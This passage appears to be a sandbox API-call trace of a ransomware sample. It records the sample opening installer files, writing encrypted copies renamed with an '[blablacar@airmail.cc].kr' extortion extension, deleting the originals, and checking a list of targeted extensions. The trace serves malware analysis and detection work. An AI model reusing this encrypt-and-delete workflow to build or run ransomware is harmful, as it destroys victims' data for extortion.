[0084.619] CloseHandle (hObject=0x314) returned 1 [0084.619] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0084.619] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml")) returned 1 [0084.620] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0084.620] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0084.620] lstrlenW (lpString=".doc") returned 4 [0084.620] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0084.620] lstrlenW (lpString=".docx") returned 5 [0084.620] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0084.620] lstrlenW (lpString=".pdf") returned 4 [0084.620] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0084.620] lstrlenW (lpString=".xls") returned 4 [0084.620] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0084.620] lstrlenW (lpString=".xlsx") returned 5 [0084.620] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0084.620] lstrlenW (lpString=".ppt") returned 4 [0084.620] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0084.620] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0084.620] lstrlenW (lpString=".zip") returned 4 [0084.620] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0084.620] lstrlenW (lpString=".rar") returned 4 [0084.620] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0084.620] lstrlenW (lpString=".bz2") returned 4 [0084.620] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0084.620] lstrlenW (lpString=".7z") returned 3 [0084.620] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0084.620] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0084.620] lstrlenW (lpString=".dbf") returned 4 [0084.620] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0084.620] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0084.620] lstrlenW (lpString=".1cd") returned 4 [0084.620] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0084.620] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0084.621] lstrlenW (lpString=".jpg") returned 4 [0084.621] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0084.621] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0084.621] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0084.621] lstrlenW (lpString=".doc") returned 4 [0084.621] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0084.621] lstrlenW (lpString=".docx") returned 5 [0084.621] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0084.621] lstrlenW (lpString=".pdf") returned 4 [0084.621] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0084.621] lstrlenW (lpString=".xls") returned 4 [0084.621] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0084.621] lstrlenW (lpString=".xlsx") returned 5 [0084.621] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0084.621] lstrlenW (lpString=".ppt") returned 4 [0084.621] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0084.621] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0084.621] lstrlenW (lpString=".zip") returned 4 [0084.621] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0084.621] lstrlenW (lpString=".rar") returned 4 [0084.621] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0084.621] lstrlenW (lpString=".bz2") returned 4 [0084.621] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0084.621] lstrlenW (lpString=".7z") returned 3 [0084.621] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0084.621] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0084.621] lstrlenW (lpString=".dbf") returned 4 [0084.621] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0084.621] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0084.622] lstrlenW (lpString=".1cd") returned 4 [0084.622] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0084.622] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml") returned 44 [0084.622] lstrlenW (lpString=".jpg") returned 4 [0084.622] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0084.622] Sleep (dwMilliseconds=0x64) [0085.232] lstrcmpiW (lpString1=".rtf", lpString2=".kr") returned 1 [0085.232] lstrlenW (lpString="eula.rtf") returned 8 [0085.232] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0085.232] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=3046) returned 1 [0085.233] CloseHandle (hObject=0x340) returned 1 [0085.239] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 0x80 [0085.239] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0085.239] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0085.239] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0085.239] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0085.239] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0085.242] GetLastError () returned 0x0 [0085.242] ReadFile (in: hFile=0x340, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0xbe6, lpOverlapped=0x0) returned 1 [0085.244] WriteFile (in: hFile=0x344, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xbf0, lpOverlapped=0x0) returned 1 [0085.245] ReadFile (in: hFile=0x340, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0085.245] WriteFile (in: hFile=0x344, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xe4, lpOverlapped=0x0) returned 1 [0085.245] SetEndOfFile (hFile=0x344) returned 1 [0085.245] CloseHandle (hObject=0x344) returned 1 [0085.246] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0085.246] SetEndOfFile (hFile=0x340) returned 1 [0085.247] CloseHandle (hObject=0x340) returned 1 [0085.247] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0085.248] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf")) returned 1 [0085.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0085.248] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0085.248] lstrlenW (lpString=".doc") returned 4 [0085.248] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0085.248] lstrlenW (lpString=".docx") returned 5 [0085.248] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0085.248] lstrlenW (lpString=".pdf") returned 4 [0085.248] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0085.248] lstrlenW (lpString=".xls") returned 4 [0085.249] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0085.249] lstrlenW (lpString=".xlsx") returned 5 [0085.249] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0085.249] lstrlenW (lpString=".ppt") returned 4 [0085.249] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0085.249] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0085.249] lstrlenW (lpString=".zip") returned 4 [0085.249] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0085.249] lstrlenW (lpString=".rar") returned 4 [0085.249] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0085.249] lstrlenW (lpString=".bz2") returned 4 [0085.249] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0085.249] lstrlenW (lpString=".7z") returned 3 [0085.249] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0085.249] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0085.249] lstrlenW (lpString=".dbf") returned 4 [0085.249] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0085.249] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0085.249] lstrlenW (lpString=".1cd") returned 4 [0085.249] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0085.249] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0085.249] lstrlenW (lpString=".jpg") returned 4 [0085.249] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0085.249] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0085.249] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0085.249] lstrlenW (lpString=".doc") returned 4 [0085.249] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0085.249] lstrlenW (lpString=".docx") returned 5 [0085.250] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0085.250] lstrlenW (lpString=".pdf") returned 4 [0085.250] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0085.250] lstrlenW (lpString=".xls") returned 4 [0085.250] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0085.250] lstrlenW (lpString=".xlsx") returned 5 [0085.250] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0085.250] lstrlenW (lpString=".ppt") returned 4 [0085.250] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0085.250] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0085.250] lstrlenW (lpString=".zip") returned 4 [0085.250] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0085.250] lstrlenW (lpString=".rar") returned 4 [0085.250] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0085.250] lstrlenW (lpString=".bz2") returned 4 [0085.250] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0085.250] lstrlenW (lpString=".7z") returned 3 [0085.250] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0085.250] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0085.250] lstrlenW (lpString=".dbf") returned 4 [0085.250] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0085.250] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0085.250] lstrlenW (lpString=".1cd") returned 4 [0085.250] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0085.250] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0085.250] lstrlenW (lpString=".jpg") returned 4 [0085.250] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0085.251] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0085.251] lstrlenW (lpString="LocalizedData.xml") returned 17 [0085.251] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0085.251] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=79296) returned 1 [0085.251] CloseHandle (hObject=0x340) returned 1 [0085.251] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 0x80 [0085.251] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0085.251] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0085.251] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0085.251] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0085.251] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0085.252] GetLastError () returned 0x0 [0085.252] ReadFile (in: hFile=0x340, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x135c0, lpOverlapped=0x0) returned 1 [0085.256] WriteFile (in: hFile=0x344, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x135d0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x135d0, lpOverlapped=0x0) returned 1 [0085.258] ReadFile (in: hFile=0x340, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0085.258] WriteFile (in: hFile=0x344, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xf6, lpOverlapped=0x0) returned 1 [0085.259] SetEndOfFile (hFile=0x344) returned 1 [0085.259] CloseHandle (hObject=0x344) returned 1 [0085.261] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0085.261] SetEndOfFile (hFile=0x340) returned 1 [0085.262] CloseHandle (hObject=0x340) returned 1 [0085.263] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0085.263] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 1 [0085.263] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0085.263] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0085.263] lstrlenW (lpString=".doc") returned 4 [0085.263] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0085.263] lstrlenW (lpString=".docx") returned 5 [0085.263] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0085.263] lstrlenW (lpString=".pdf") returned 4 [0085.263] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0085.263] lstrlenW (lpString=".xls") returned 4 [0085.263] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0085.263] lstrlenW (lpString=".xlsx") returned 5 [0085.263] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0085.263] lstrlenW (lpString=".ppt") returned 4 [0085.263] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0085.264] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0085.264] lstrlenW (lpString=".zip") returned 4 [0085.264] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0085.264] lstrlenW (lpString=".rar") returned 4 [0085.264] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0085.264] lstrlenW (lpString=".bz2") returned 4 [0085.264] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0085.264] lstrlenW (lpString=".7z") returned 3 [0085.264] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0085.264] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0085.264] lstrlenW (lpString=".dbf") returned 4 [0085.264] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0085.264] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0085.264] lstrlenW (lpString=".1cd") returned 4 [0085.264] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0085.264] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0085.264] lstrlenW (lpString=".jpg") returned 4 [0085.264] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0085.264] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0085.264] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0085.264] lstrlenW (lpString=".doc") returned 4 [0085.264] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0085.264] lstrlenW (lpString=".docx") returned 5 [0085.264] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0085.264] lstrlenW (lpString=".pdf") returned 4 [0085.264] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0085.264] lstrlenW (lpString=".xls") returned 4 [0085.264] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0085.264] lstrlenW (lpString=".xlsx") returned 5 [0085.264] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0085.264] lstrlenW (lpString=".ppt") returned 4 [0085.265] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0085.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0085.265] lstrlenW (lpString=".zip") returned 4 [0085.265] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0085.265] lstrlenW (lpString=".rar") returned 4 [0085.265] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0085.265] lstrlenW (lpString=".bz2") returned 4 [0085.265] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0085.265] lstrlenW (lpString=".7z") returned 3 [0085.265] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0085.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0085.265] lstrlenW (lpString=".dbf") returned 4 [0085.265] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0085.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0085.265] lstrlenW (lpString=".1cd") returned 4 [0085.265] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0085.265] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44 [0085.265] lstrlenW (lpString=".jpg") returned 4 [0085.265] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0085.265] lstrcmpiW (lpString1=".rtf", lpString2=".kr") returned 1 [0085.265] lstrlenW (lpString="eula.rtf") returned 8 [0085.265] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0085.266] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=4040) returned 1 [0085.266] CloseHandle (hObject=0x340) returned 1 [0085.266] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 0x80 [0085.266] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0085.266] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0085.266] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0085.266] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0085.266] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0085.268] GetLastError () returned 0x0 [0085.268] ReadFile (in: hFile=0x340, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0xfc8, lpOverlapped=0x0) returned 1 [0085.269] WriteFile (in: hFile=0x344, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xfd0, lpOverlapped=0x0) returned 1 [0085.270] ReadFile (in: hFile=0x340, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0085.271] WriteFile (in: hFile=0x344, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xe4, lpOverlapped=0x0) returned 1 [0085.271] SetEndOfFile (hFile=0x344) returned 1 [0085.271] CloseHandle (hObject=0x344) returned 1 [0085.273] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0085.273] SetEndOfFile (hFile=0x340) returned 1 [0085.274] CloseHandle (hObject=0x340) returned 1 [0085.274] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0085.275] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 1 [0085.275] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0085.275] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0085.275] lstrlenW (lpString=".doc") returned 4 [0085.275] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0085.275] lstrlenW (lpString=".docx") returned 5 [0085.275] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0085.275] lstrlenW (lpString=".pdf") returned 4 [0085.275] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0085.275] lstrlenW (lpString=".xls") returned 4 [0085.275] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0085.275] lstrlenW (lpString=".xlsx") returned 5 [0085.275] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0085.275] lstrlenW (lpString=".ppt") returned 4 [0085.275] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0085.275] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0085.275] lstrlenW (lpString=".zip") returned 4 [0085.275] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0085.276] lstrlenW (lpString=".rar") returned 4 [0085.276] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0085.276] lstrlenW (lpString=".bz2") returned 4 [0085.276] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0085.276] lstrlenW (lpString=".7z") returned 3 [0085.276] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0085.276] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0085.276] lstrlenW (lpString=".dbf") returned 4 [0085.276] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0085.276] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0085.276] lstrlenW (lpString=".1cd") returned 4 [0085.276] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0085.276] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0085.276] lstrlenW (lpString=".jpg") returned 4 [0085.276] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0085.276] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0085.276] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35 [0085.276] lstrlenW (lpString=".doc") returned 4 [0085.276] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0085.276] lstrlenW (lpString=".docx") returned 5 [0085.276] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0085.276] lstrlenW (lpString=".pdf") returned 4 